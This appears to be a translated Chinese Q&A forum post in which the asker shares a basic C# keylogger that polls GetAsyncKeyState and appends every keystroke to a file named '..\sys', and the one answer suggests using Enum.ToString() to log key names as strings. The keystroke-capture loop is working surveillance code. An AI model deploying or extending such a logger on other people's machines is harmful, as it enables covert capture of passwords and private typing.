我有一个基本的键盘记录器。我的代码如下:
class KeyStrokes
{
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
public static void StartLogging()
{
while (true)
{
//sleeping for while, this will reduce load on cpu
Thread.Sleep(10);
for (Int32 i = 3; i < 255; i++)
{
int keyState = GetAsyncKeyState(i);
if (keyState == 1 || keyState == -32767)
{
try
{
using (FileStream fs = new FileStream(@"..\sys", FileMode.Append, FileAccess.Write))
using (StreamWriter sw = new StreamWriter(fs))
{
sw.Write(((Keys)i));
sw.Flush();
sw.Close();
}
break;
}
catch (Exception) { }
}
}
}
}
}
但是这段代码是记录Keys枚举。我可以将其转换为字符串吗?
答案 0 :(得分:1)
使用Enum.ToString()
方法,如下所示:
sw.Write((((Keys)i)).ToString());
ToString()
将枚举转换为其字符串表示形式,通常是枚举成员的名称,除非指定format strings。
来源 - MSDN。